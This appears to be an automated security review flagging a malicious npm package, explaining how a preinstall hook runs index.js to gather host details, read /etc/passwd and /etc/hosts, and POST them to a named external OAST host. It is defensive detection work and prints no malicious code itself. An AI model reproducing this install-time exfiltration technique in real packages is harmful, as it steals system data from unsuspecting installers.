AI Security Review

The preinstall hook executes index.js automatically on npm installation. It harvests host and local system-file data, then sends it to an unrelated external host.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm install or any install action that runs the preinstall lifecycle hook.

Impact

Exposure of username, hostname, home/install paths, DNS configuration, and contents of /etc/passwd and /etc/hosts.

Mechanism

install-time host fingerprinting and data exfiltration via HTTPS POST

Attack narrative

Installation invokes package-controlled index.js through preinstall. The script gathers host identity and network configuration, reads /etc/passwd and /etc/hosts if available, serializes the data, and POSTs it to mka6p95xmnkfcmdxv8cb4h2rpivej47t.oastify.com. This is unconsented install-time data exfiltration.

Rationale

Direct source inspection confirms an automatic preinstall hook performing local-file and host-data exfiltration to an external OAST endpoint. This is concrete malicious behavior, not merely a suspicious primitive.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node index.js` in preinstall.
index.js collects home path, hostname, username, and DNS servers.
index.js reads /etc/passwd and /etc/hosts when present.
index.js POSTs collected data to an external OAST host during installation.
